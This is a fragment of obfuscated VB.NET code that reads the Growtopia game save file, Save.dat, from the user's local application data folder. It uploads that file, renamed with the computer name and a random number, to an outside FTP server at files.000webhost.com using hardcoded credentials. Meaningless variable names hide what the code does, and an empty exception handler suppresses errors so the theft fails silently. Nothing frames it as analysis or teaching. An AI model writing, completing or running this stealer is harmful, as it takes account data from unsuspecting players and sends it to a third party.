Control.CheckForIllegalCrossThreadCalls = False Result = RandomNumber.Next(1, 999999) Dim OQWFOQWJFOQFJQOGTNQONPOQWNFQWOGT20IJG239IJNFGQPOWMqoifrjo23 As String = "\Growtopia\Save.dat" Dim OQWFOQWJFOQFJQOGTNQ As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) Dim IJG239IJN As String = My.Computer.Name Try Dim IJNWS As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://files.000webhost.com/SaveDAT/save_" & IJG239IJN & Result & ".dat"), System.Net.FtpWebRequest) IJNWS.Credentials = New System.Net.NetworkCredential("", "wefkjwefjwbekj") IJNWS.Method = System.Net.WebRequestMethods.Ftp.UploadFile Dim w9iejhgih2p() As Byte = System.IO.File.ReadAllBytes(OQWFOQWJFOQFJQOGTNQ & OQWFOQWJFOQFJQOGTNQONPOQWNFQWOGT20IJG239IJNFGQPOWMqoifrjo23) Dim S2pj2og As System.IO.Stream = IJNWS.GetRequestStream() S2pj2og.Write(w9iejhgih2p, 0, w9iejhgih2p.Length) S2pj2og.Close() S2pj2og.Dispose() Catch ex As Exception End Try